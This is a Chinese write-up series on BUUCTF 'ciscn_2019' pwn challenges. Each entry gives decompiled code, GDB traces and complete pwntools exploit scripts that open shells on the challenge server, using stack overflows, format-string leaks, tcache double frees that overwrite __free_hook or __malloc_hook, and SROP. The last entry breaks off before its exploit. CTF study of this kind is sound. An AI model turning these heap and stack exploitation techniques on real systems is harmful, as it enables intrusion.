LOAD:0000000000400238	0000001C	C	/lib64/ld-linux-x86-64.so.2
LOAD:0000000000400399 0000000A C libc.so.6
LOAD:00000000004003A3 00000005 C gets
LOAD:00000000004003A8 00000005 C puts
LOAD:00000000004003AD 00000006 C stdin
LOAD:00000000004003B3 00000007 C stdout
LOAD:00000000004003BA 00000007 C system
LOAD:00000000004003C1 00000008 C setvbuf
LOAD:00000000004003C9 00000012 C __libc_start_main
LOAD:00000000004003DB 0000000F C __gmon_start__
LOAD:00000000004003EA 0000000C C GLIBC_2.2.5
.rodata:00000000004007B4 00000018 C Let's guess the number.
.rodata:00000000004007CC 0000000A C cat /flag
.rodata:00000000004007D6 0000001D C Its value should be 11.28125
.eh_frame:000000000040089F 00000006 C ;*3$\"

v1的栈空间覆盖到v2

3.EXP

1
2
3
4
5
6
7
from pwn import *
#context.log_level = 'debug'
p = remote("node3.buuoj.cn",26782)
number_addr = 0x41348000
payload = '\x00'*(0x30-4) + p64(number_addr)
p.sendlineafter("Let's guess the number.\n",payload)
print p.recv()

number是地址下面保存的16进制值

ciscn_2019_en_2

和ciscn_2019_c_1一样

ciscn_2019_en_3

1.checksec

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

2.IDA

main

1
2
3
4
5
puts("Welcome to the story kingdom.");
puts("What's your name?");
read(0, &buf, 0x20uLL);
_printf_chk(1LL, (__int64)&buf);
puts("Please input your ID.");

字符串格式化漏洞,可以从这里泄露libc base

只有两个有效功能

1
2
3
4
5
6
7
8
def add(sz,text):
p.sendlineafter(": ","1")
p.sendlineafter(": ",str(sz))
p.sendlineafter(": ",text)

def delete(idx):
p.sendlineafter(": ","4")
p.sendlineafter(": ",str(idx))

main

1
2
3
4
5
6
7
puts("Welcome to the story kingdom.");
puts("What's your name?");
read(0, &buf, 0x20uLL);
_printf_chk(1LL, &buf);
puts("Please input your ID.");
read(0, &s, 8uLL);
puts(&s);

字符串格式化漏洞,printf_chk函数,导致你在使用%a$p时需要同时使用%(1到a)$p才可以,并且禁用了%n,所以利用格式化字符串写的这条路基本被pass掉,只有可能进行一些简单的leak

delete

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 delete()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Please input the index:");
_isoc99_scanf("%d", &v1);
free(qword_202068[2 * v1]);
puts("Done!");
return __readfsqword(0x28u) ^ v2;
}

指针未清0

3.GDB

1
2
3
4
5
6
7
8
9
10
#code:
p.sendlineafter('name?','aaaaaa')
gdb.attach(p)
p.sendlineafter('ID.','2'*8)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success('leak addr => 0x%x',leak)
#gdb
0x7fffa19cf4b0 ◂— 0x3232323232323232 ('22222222')
0x7fffa19cf4b8 —▸ 0x7fc2db859237 (setbuffer+231) ◂— test dword ptr [rbx], 0x8000
0x7fffa19cf4c0 ◂— 0xa616161616161 /* 'aaaaaa\n' */

这个时候0x7fffa19cf4b0被填充完全,接着输出就会输出0x7fffa19cf4b8的内容,0x7fffa19cf4b8的内容就是0x7fc2db859237 (setbuffer+231),所以得出这时的libc_now=0x7fc2db859237 - 231,那么libc base = libc_now - libc.sym["setbuffer"]

接着就是填入/bin/sh,改_free_hooksystem

4.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context.log_level = "debug"
elf = ELF("./ciscn_2019_en_3")
libc = ELF("/mnt/d/CTF/Question/BUUCTF/libc/64/libc-2.27.so")
#p = process("./ciscn_2019_en_3")
p = remote("node3.buuoj.cn","27106")

def add(sz,text):
p.sendlineafter("choice:","1")
p.sendlineafter(": \n",str(sz))
p.sendlineafter(": \n",text)

def delete(idx):
p.sendlineafter("choice:","4")
p.sendlineafter(":\n",str(idx))

if __name__ == '__main__':
p.sendlineafter('name?','aaaaaa')
p.sendlineafter('ID.','2'*8)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-231-libc.sym['setbuffer']
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
log.success('libc base => 0x%x',libcbase)
log.success('free hook => %x',free_hook)
log.success('sys addr => 0x%x',system)
add(0x20,'aaaa')#0
add(0x20,'/bin/sh\x00')
delete(0)
delete(0) #double free
add(0x20,p64(free_hook))
add(0x20,'dd')
add(0x20,p64(system))
delete(1)
p.interactive()

ciscn_2019_es_1

1.checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

2.IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
def add(sz,name,call):
p.sendlineafter("choice:",'1')
p.sendlineafter("Please input the size of compary's name\n",str(sz))
p.sendlineafter("please input name:",name)
p.sendlineafter("please input compary call:",call)

def show(idx):
p.sendlineafter("choice:",'2')
p.sendlineafter("index:\n",str(idx))

def free(idx):
p.sendlineafter("choice:",'3')
p.sendlineafter("index:\n",str(idx))

add

1
2
puts("please input name:");
read(0, (void *)*heap_addr_4080[heap_number], (unsigned int)size);

这个可以直接让我们写到chunk->fd的位置

call

1
2
3
4
5
6
 if ( heap_addr_4080[v1] )
free((void *)*heap_addr_4080[v1]);
puts("You try it!");
puts("Done");
return __readfsqword(0x28u) ^ v2;
}

这里没有释放后没有清零,use after free

思路

  • 1.利用show函数泄露libc
  • 2.程序里面有个uaf,利用这个进行double_free来修改tcache里面的fd指针,从而将free_hook改为_libc_system
  • 3.free掉我们提前埋下的**/bin/sh**的chunk,从而getshell

3.gdb

利用show函数泄露libc

1
2
3
4
5
6
add(0x410,'aaaa','123')
add(0x20,"bbbb",'124')
add(0x20,"/bin/sh\x00",'125')

free(0)
show(0)

leak.png

2.程序里面有个uaf,利用这个进行double_free来修改tcache里面的fd指针,从而将free_hook改为_libc_system

  • double free
1
2
free(1)
free(1)

​ gdb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> bin
tcachebins
0x30 [ 2]: 0x55ce4a46d6c0 ◂— 0x55ce4a46d6c0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55ce4a46d270 —▸ 0x7ff520e96ca0 (main_arena+96) ◂— 0x55ce4a46d270
smallbins
empty
largebins
empty
  • 修改free_hook

    1
    2
    3
    add(0x28,p64(free_hook),'126')
    add(0x28,'111','127')
    add(0x28,p64(system),'128')

    edit.png

4.EXP

这里是改freesystem,所以就必须先libc leak,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
elf = ELF("ciscn_s_6")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
sh = 0

def add(sz,name,call):
sh.sendlineafter("choice:",'1')
sh.sendlineafter("Please input the size of compary's name\n",str(sz))
sh.sendlineafter("please input name:",name)
sh.sendlineafter("please input compary call:",call)

def show(idx):
sh.sendlineafter("choice:",'2')
sh.sendlineafter("index:\n",str(idx))

def free(idx):
sh.sendlineafter("choice:",'3')
sh.sendlineafter("index:\n",str(idx))

def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process("ciscn_s_6")
else:
sh = remote(ip,port)
add(0x410,'aaaa','123')
add(0x20,"bbbb",'124')
add(0x20,"/bin/sh\x00",'125')

free(0)
show(0)
#0x7fffff3ebca0 (main_arena+96)
leak_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = leak_addr-96-0x10-libc.sym["__malloc_hook"]
free_hook=libc_base+libc.sym["__free_hook"]
system = libc_base+libc.sym["system"]

log.info("libc base=>%x",libc_base)
log.info("free_hook=>%x",free_hook)
log.info("system real=>%x",system)
#double free
free(1)
free(1)
add(0x28,p64(free_hook),'126')
add(0x28,'111','127')
add(0x28,p64(system),'128')
#GDB()
free(2)

sh.interactive()
if __name__ == '__main__':
main("node3.buuoj.cn","28066",0,0)

为什么是0x3c4b78?

动态调试出来,泄露的unsorted bin地址减去vmmap下查看的libc基址

add(0x410,’aaaa’,’123’),为什么是0x410?

因为add对申请的堆的大小没有限制,而申请一个大的堆块(>0x400),这个堆块被free后就会直接被分配进入unsorted bin

ciscn_2019_es_2

1.checksec

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

main

1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
puts("Welcome, my friend. What's your name?");
vul();
return 0;
}

vul

1
2
3
4
5
6
7
8
9
10
int vul()
{
char s; // [esp+0h] [ebp-28h]

memset(&s, 0, 0x20u);
read(0, &s, 0x30u);
printf("Hello, %s\n", &s);
read(0, &s, 0x30u);
return printf("Hello, %s\n", &s);
}

hack

1
2
3
4
int hack()
{
return system("echo flag");
}

因为有system,可以不用libc_leak,但是要泄露EBP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
====system("/bin/sh\x00")
====must size()=0x28=40
====then can overflow
| a*4 |
| a*4 |
| Addr_1 |
| b*4 |
| sys_plt |
| sys_ret |
| Addr_2 |
| /bin |
| /sh\x00 |
| 对齐 |
=====ret_addr:
| Addr_3 |
==========
0x28+4=44=0x2c= Addr_3
Addr_1=44-4-4=36=0x24
Addr_2=44-4*5=24=0x1c(sys_ret不在ebp上偏移传参)

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.log_level = "debug"
p = remote("node3.buuoj.cn",29643)
elf = ELF("./ciscn_2019_es_2")

sys_addr = 0x8048400
#-------EBP_LEAK-------------
pl = 'a'*0x20+"b"*8
p.send(pl)
p.recvuntil('b'*8)
ebp = u32(p.recv(4))
print(hex(ebp))

pl2=('a'*8+p32(ebp-0x24)+'bbbb'+p32(sys_addr)+'cccc'+p32(ebp-0x1c)+'/bin/sh\x00').ljust(0x28,'p')+p32(ebp-0x2c)
#p32(sys_addr)+'aaaa'+p32(sh_addr)
p.send(pl2)

p.interactive()

ciscn_2019_es_7

1.checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

vuln

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
; read(fd,buf,0x400)
; write(fd,buf,0x30)
; Attributes: bp-based frame
public vuln
vuln proc near ; CODE XREF: main+14↓p
buf = byte ptr -10h
; __unwind {
push rbp
mov rbp, rsp
xor rax, rax
mov edx, 400h ; count
lea rsi, [rsp+buf] ; buf
mov rdi, rax ; fd
syscall ; LINUX - sys_read
mov rax, 1
mov edx, 30h ; count
lea rsi, [rsp+buf] ; buf
mov rdi, rax ; fd
syscall ; LINUX - sys_write
retn
vuln endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 90h
; ---------------------------------------------------------------------------
pop rbp
retn
; } // starts at 4004ED

分析syscall,发现只有readwrite

gadgets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gadgets         proc near
; __unwind {
push rbp
mov rbp, rsp
mov rax, 0Fh ; //constants.SYS_sigreturn
retn
gadgets endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov rax, 3Bh ; //execve
retn
; ---------------------------------------------------------------------------
db 90h
; ---------------------------------------------------------------------------
pop rbp
retn
; } // starts at 4004D6

mov rax, 0Fh: 在syscall里面,0xf代表constants.SYS_sigreturn

mov rax, 3Bh: 在syscall里面,0x3b代表execve

所以要用SROP

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from LibcSearcher import *
#sh=process("./ciscn_2019_es_7")
context.log_level ='debug'
context.arch='amd64'
sh=remote("node3.buuoj.cn",27162)
syscall_ret=0x400517
read=0x4004f1
movrax_sigreturn=0x4004da
movrax_system=0x4004E2
sh.send("/bin/sh"+"\x00"*9+p64(read))
sh.recv(32)
stack_addr=u64(sh.recv(8))
log.success("stack: "+hex(stack_addr))
sh.recv(8)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr - 280 # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
sh.send("/bin/sh"+"\x00"*9+p64(movrax_sigreturn)+p64(syscall_ret)+str(sigframe))
sh.interactive()

ciscn_2019_final_2

1.checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

2.IDA

老几样了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def add_int(add_type, add_num):
p.sendlineafter('> ', '1')
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', '1')
p.sendafter('your inode number:', str(add_num))

def add_short(add_num):
p.sendlineafter('> ', '1')
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', '2')
p.sendafter(':', str(add_num))

def remove(remove_type):
p.sendlineafter('which command?\n> ', '2')
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(remove_type))

def show(show_type):
p.sendlineafter('> ', '3')
p.sendlineafter('short int\n>', str(show_type))
if show_type == 1:
p.recvuntil(':')
elif show_type == 2:
p.recvuntil(':')
return int(p.recvuntil('\n'))

init

1
2
3
4
5
6
7
8
fd = open("flag", 0);
if ( fd == -1 )
{
puts("no such file :flag");
exit(-1);
}
dup2(fd, 666);
close(fd);

dup2(fd, 666)的意思是,newfd指向oldfd句柄指向的文件描述符结构,即原本是指向标准输出文件描述结构体的666指向了flag,这样一来,原本输出
到显示器终端的字符串就打印到test.file文件中了,这也是Linux操作系统的重定向实现方法

fileno()用来取得参数stream指定的文件流所使用的文件描述词
返回值 :返回和stream文件流对应的文件描述符。如果失败,返回-1

bye_bye

1
2
3
4
5
6
7
8
9
10
11
12
void __noreturn bye_bye()
{
char v0; // [rsp+0h] [rbp-70h]
unsigned __int64 v1; // [rsp+68h] [rbp-8h]

v1 = __readfsqword(0x28u);
puts("what do you want to say at last? ");
__isoc99_scanf("%99s", &v0);
printf("your message :%s we have received...\n", &v0);
puts("have fun !");
exit(0);
}

结合init可知,最后基本上就靠这个函数得到flag了

delete

1
2
3
4
5
6
7
8
9
10
11
12
if ( v1 == 1 && int_pt )
{
free(int_pt);
bool = 0;
puts("remove success !");
}
if ( v1 == 2 && short_pt )
{
free(short_pt);
bool = 0;
puts("remove success !");
}

释放指针指向的地址后,指针未置零

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if ( v3 == 1 )
{
int_pt = malloc(0x20uLL);
if ( !int_pt )
exit(-1);
bool = 1;
printf("your inode number:");
v0 = (int *)int_pt;
*v0 = get_atoi();
*((_DWORD *)int_pt + 2) = *(_DWORD *)int_pt;
puts("add success !");
}
if ( v3 == 2 )
{
short_pt = malloc(0x10uLL);
if ( !short_pt )
exit(-1);
bool = 1;
printf("your inode number:");
v1 = get_atoi();
*(_WORD *)short_pt = v1;
*((_WORD *)short_pt + 4) = *(_WORD *)short_pt;
puts("add success !");
}

每次分配的空间都是固定的

.bss

1
2
3
4
5
6
7
8
9
10
11
.bss:0000000000202050 int_pt          dq ?                    ; DATA XREF: show+4E↑r
.bss:0000000000202050 ; show+5A↑r ...
.bss:0000000000202058 public short_pt
.bss:0000000000202058 ; void *short_pt
.bss:0000000000202058 short_pt dq ? ; DATA XREF: show+7C↑r
.bss:0000000000202058 ; show+88↑r ...
.bss:0000000000202060 public _bool
.bss:0000000000202060 _bool dd ? ; DATA XREF: allocate:loc_F8C↑w
.bss:0000000000202060 ; allocate:loc_1009↑w ...
.bss:0000000000202064 align 8
.bss:0000000000202064 _bss ends

int_ptshort_pt均为全局指针变量

环境是ubuntu18,应该是用tcache累加得到一个unsorted bin,最后释放后得到libc base,得到fileno;然后利用house of spirit将stdin的fileno改为666,scanf就会从flag文件读取flag

GDB

over_lapping+libc_leak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#code:
add(1,0x30) #0x10
remove(1) #加入tcache
add(2,0x20) #0x20
add(2,0x20) #0x20
add(2,0x20) #0x20
add(2,0x20) #0x20
remove(2) #加入tcache
add(1,0x30) #0x10
remove(2) #加入tcache
addr_chunk0_prev_size = show(2) - 0xa0
add(2, addr_chunk0_prev_size)
add(2, addr_chunk0_prev_size)
add(2, 0x91)
gdb.attach(p)
#gdb
0x563281ce9250 PREV_INUSE {
mchunk_prev_size = 145,
mchunk_size = 145,
fd = 0x30,
bk = 0x30,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x563281ce92e0 FASTBIN {
mchunk_prev_size = 0,
mchunk_size = 33,
fd = 0x563281ce9250,
bk = 0x9250,
fd_nextsize = 0x0,
bk_nextsize = 0x20d01
}

其实是通过mchunk来实现合并,相关链接堆漏洞挖掘:08—chunk的mchunk_prev_size成员的空间复用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#code
for i in range(0, 7):
remove(1)
add(2, 0x20)
remove(1)
#gdb
0x55fcf5564250 PREV_INUSE {
mchunk_prev_size = 145,
mchunk_size = 145,
fd = 0x7f00598fcca0 <main_arena+96>,
bk = 0x7f00598fcca0 <main_arena+96>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> bin
tcachebins
0x20 [ -1]: 0
0x90 [ 7]: 0x55fcf5564260 —▸ 0x7f00598fcca0 (main_arena+96) —▸ 0x55fcf55643e0 ◂— 0x0
.........................
unsortedbin
all: 0x55fcf5564250 —▸ 0x7f00598fcca0 (main_arena+96) ◂— 0x55fcf5564250

不断申请和释放,由于tcache最多只能存储7个chunk,所以之前的全部被分配进了unsorted bin,实现了chunk的合并,之后偶就是常规的找地址了

4.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
context.log_level = "debug"
p = process("./ciscn_final_2")
elf = ELF('./ciscn_final_2')
libc = ELF('/home/joe1sn/libc/64/libc-2.27.so')

def add(add_type, add_num):
p.sendlineafter('which command?\n> ', '1')
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(add_type))
p.sendafter('your inode number:', str(add_num))

def remove(remove_type):
p.sendlineafter('which command?\n> ', '2')
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(remove_type))

def show(show_type):
p.sendlineafter('which command?\n> ', '3')
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(show_type))
if show_type == 1:
p.recvuntil('your int type inode number :')
elif show_type == 2:
p.recvuntil('your short type inode number :')
return int(p.recvuntil('\n', drop=True))
if __name__ == '__main__':
add(1,0x30)
remove(1)
add(2,0x20)
add(2,0x20)
add(2,0x20)
add(2,0x20)
remove(2)
add(1,0x30)
remove(2)
addr_chunk0_prev_size = show(2) - 0xa0
add(2, addr_chunk0_prev_size)
add(2, addr_chunk0_prev_size)
add(2, 0x91)

for i in range(0, 7):
remove(1)
add(2, 0x20)
remove(1)

addr_main_arena = show(1) - 96
libcbase = addr_main_arena - libc.sym['__malloc_hook'] - 0x10
addr__IO_2_1_stdin__fileno = libcbase + libc.sym['_IO_2_1_stdin_'] + 0x70
log.success("libc base > %x",libcbase)
log.success("addr IO 2 1 stdin fileno > %x",addr__IO_2_1_stdin__fileno)
gdb.attach(p)
add(1, addr__IO_2_1_stdin__fileno)
add(1, 0x30)
remove(1)
add(2, 0x20)
remove(1)
addr_chunk0_fd = show(1) - 0x30
add(1, addr_chunk0_fd)
add(1, addr_chunk0_fd)
add(1, 111)
add(1, 666)

p.sendlineafter('which command?\n> ', '4')
p.recvuntil('your message :')

p.interactive()

EXP来源 PwnKi-ciscn_2019_final_2

ciscn_2019_final_3

1.checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

2.IDA

只有add和remove

1
2
3
4
5
6
7
8
9
10
11
def add(idx,size,data):
p.sendlineafter("choice > ",'1')
p.sendlineafter("the index",str(idx))
p.sendlineafter("the size",str(size))
p.sendlineafter("something",data)
p.recvuntil('gift :')
return int(p.recvline()[2:],16)

def free(idx):
p.sendlineafter("choice > ",'2')
p.sendlineafter("the index",str(idx))

add

1
2
3
4
5
6
7
8
9
10
11
12
13
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "input the size");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
std::istream::operator>>(&std::cin, &size);
if ( (unsigned int)size <= 0x78 )
{
v2 = HIDWORD(size);
qword_2022A0[v2] = malloc((unsigned int)size);
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "now you can write something");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
READ(qword_2022A0[HIDWORD(size)], size);
puts("OK!");
printf("gift :%p\n", qword_2022A0[HIDWORD(size)]);
}

对申请的堆的大小进行了判断,并且可以给我们挡墙申请堆块的地址

remove

1
2
3
if ( v2 > 0x18 )
exit(0);
free(qword_2022A0[v2]);

指针没有清零,所以我们可以多次释放来形成unsorted bin

然后释放unsorted bin,来泄露libc basemalloc hook

最后通过malloc hook+one gadget来getshehll

3.GDB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#code
heap=add(0,0x78,'a')#0
print(hex(heap))
add(1,0x18,'b')#1
add(2,0x78,'c')#2
add(3,0x78,'d')#3
add(4,0x78,'c')#4
add(5,0x78,'d')#5
add(6,0x78,'c')#6
add(7,0x78,'d')#7
add(8,0x78,'c')#8
add(9,0x78,'d')#9
add(10,0x78,'c')#10
add(11,0x78,'d')#11
add(12,0x28,'d')#12
#dup (double free)
free(12)
free(12)
gdb.attach(p)
#输出> 0x557389971e70
#GDB
0x557389971e60 FASTBIN {
mchunk_prev_size = 0,
mchunk_size = 129,
fd = 0xa61,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x557389971ee0 FASTBIN {
mchunk_prev_size = 0,
mchunk_size = 33,
fd = 0xa62,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x81
}
0x557389971f00 FASTBIN {
mchunk_prev_size = 0,
mchunk_size = 129,
fd = 0xa63,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
........................
........................
0x557389972400 FASTBIN {
mchunk_prev_size = 0,
mchunk_size = 49,
fd = 0x557389972410,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> x/16gx 0x557389972400
0x557389972400: 0x0000000000000000 0x0000000000000031
0x557389972410: 0x0000557389972410 0x0000000000000000
0x557389972420: 0x0000000000000000 0x0000000000000000
0x557389972430: 0x0000000000000000 0x000000000000ebd1
0x557389972440: 0x0000000000000000 0x0000000000000000
0x557389972450: 0x0000000000000000 0x0000000000000000
0x557389972460: 0x0000000000000000 0x0000000000000000
0x557389972470: 0x0000000000000000 0x0000000000000000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#code
add(13,0x28,p64(heap-0x10))#4
add(14,0x28,p64(heap-0x10))#5
add(15,0x28,p64(0)+p64(0x421))#get chunk0->size
gdb.attach(p)
>>>之前的输出为0x561fb56f5e60
#GDB
0x561fb56f5e60 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 1057,
fd = 0xa0a,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
>>>这里的size位已经被修改成了0x421为后面做准备
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#code
free(0) #unsort_bin chunk0->fd=libc
free(1) #tcache
add(16,0x78,'e')#7
add(17,0x18,'f')#8 get chunk1
gdb.attach(p)
>>>输出 0x55584522be60
#GDB
0x55584522be60 FASTBIN {
mchunk_prev_size = 0,
mchunk_size = 129,
fd = 0x7fbd07fc0a65,
bk = 0x7fbd07fca090 <main_arena+1104>,
fd_nextsize = 0x55584522be60,
bk_nextsize = 0x55584522be60
}
0x55584522bee0 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 929,
fd = 0x7fbd07fc0a66,
bk = 0x7fbd07fc9ca0 <main_arena+96>,
fd_nextsize = 0x0,
bk_nextsize = 0x81
}
pwndbg> bin
tcachebins
0x20 [ 0]: 0x7fbd07fc9ca0 (main_arena+96) ◂— ...
0x30 [ -1]: 0
unsortedbin
all [corrupted]
FD: 0x55584522bee0 ◂— 0x7fbd07fc0a66
BK: 0x55584522bee0 —▸ 0x7fbd07fc9ca0 (main_arena+96) ◂— 0x55584522bee0

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
...................
0x55584521a000 0x55584523b000 rw-p 21000 0 [heap]
..................................
0x7fbd07bde000 0x7fbd07dc5000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so


>>>这里已经被修改为了unsorted bin,再次申请堆的话就是申请[0x562fe6debee0 PREV_INUSE]这块的bk,而且返回的地址是> bk = 0x7f22f4cccca0 <main_arena+96>

#开始计算libc base
>>> hex(0x7fbd07fc9ca0-0x7fbd07bde000)
'0x3ebca0'

[DEBUG] Received 0x33 bytes:
'OK!\n'
'gift :0x7fbd07fc9ca0\n'
'1. add\n'
'2. remove\n'
'choice > '
('0x7fbd07bde000', '0x7fbd07fc9c30')

4.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
#context.log_level = "debug"
#p = process("./ciscn_final_3")
p = remote("node3.buuoj.cn",27672)
libc=ELF('./libc.so.6')

def add(idx,size,data):
p.sendlineafter("choice > ",'1')
p.sendlineafter("the index",str(idx))
p.sendlineafter("the size",str(size))
p.sendlineafter("something",data)
p.recvuntil('gift :')
return int(p.recvline()[2:],16)

def free(idx):
p.sendlineafter("choice > ",'2')
p.sendlineafter("the index",str(idx))

heap=add(0,0x78,'a')#0
log.info("chunks 0> 0x%x",heap)
add(1,0x18,'b')#1
add(2,0x78,'c')#2
add(3,0x78,'d')#3
add(4,0x78,'c')#4
add(5,0x78,'d')#5
add(6,0x78,'c')#6
add(7,0x78,'d')#7
add(8,0x78,'c')#8
add(9,0x78,'d')#9
add(10,0x78,'c')#10
add(11,0x78,'d')#11
add(12,0x28,'d')#12
#dup (double free)
free(12)
free(12)
#gdb.attach(p)
add(13,0x28,p64(heap-0x10))#4
add(14,0x28,p64(heap-0x10))#5
add(15,0x28,p64(0)+p64(0x421))#get chunk0->size
#gdb.attach(p)


#overlap
free(0) #unsort_bin chunk0->fd=libc
free(1) #tcache
add(16,0x78,'e')#7
add(17,0x18,'f')#8 get chunk1
#gdb.attach(p)
leak=add(18,0x18,'g')#9 get libc
libc_base =leak - 0x3ebca0
malloc_hook=libc_base+libc.sym['__malloc_hook']
one_gadget=libc_base+0x10a38c
log.info("libc base 0x%x",libc_base)
log.info("malloc hook 0x%x",malloc_hook)
log.info("one gadget 0x%x",one_gadget)

#dup
free(5)
free(5)
add(19,0x78,p64(malloc_hook))
add(20,0x78,p64(malloc_hook))
add(21,0x78,p64(one_gadget))
#getshell
p.sendline('1')
p.sendline('22')
p.sendline('0;cat flag')

p.interactive()

ciscn_2019_final_4

https://blog.csdn.net/seaaseesa/article/details/105855306

1.checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

sandbox

1
2
3
4
5
6
7
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x35 0x02 0x00 0x40000000 if (A >= 0x40000000) goto 0004
0002: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0004
0003: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0004: 0x06 0x00 0x00 0x00000000 return KILL

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 delete()
{
int idx; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("please don't patch this function!! I will check it!!");
puts("index ?");
_isoc99_scanf("%d", &idx);
if ( idx >= 0 && idx <= 31 && note[idx] )
free(note[idx]);
else
puts("invalid index");
return __readfsqword(0x28u) ^ v2;
}

uaf造成double free

程序只能orw,存在uaf,chunk->size大小随意,show可以泄露

3.思路

  • 在写name的时候伪造一个chunk头

  • 然后用uaf 泄露libcbase和environ

  • 利用environ找到name(fake_chunk),使用double free分配过去

  • 泄露canary,扩大rsp

  • 写orw的ropchain

4.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
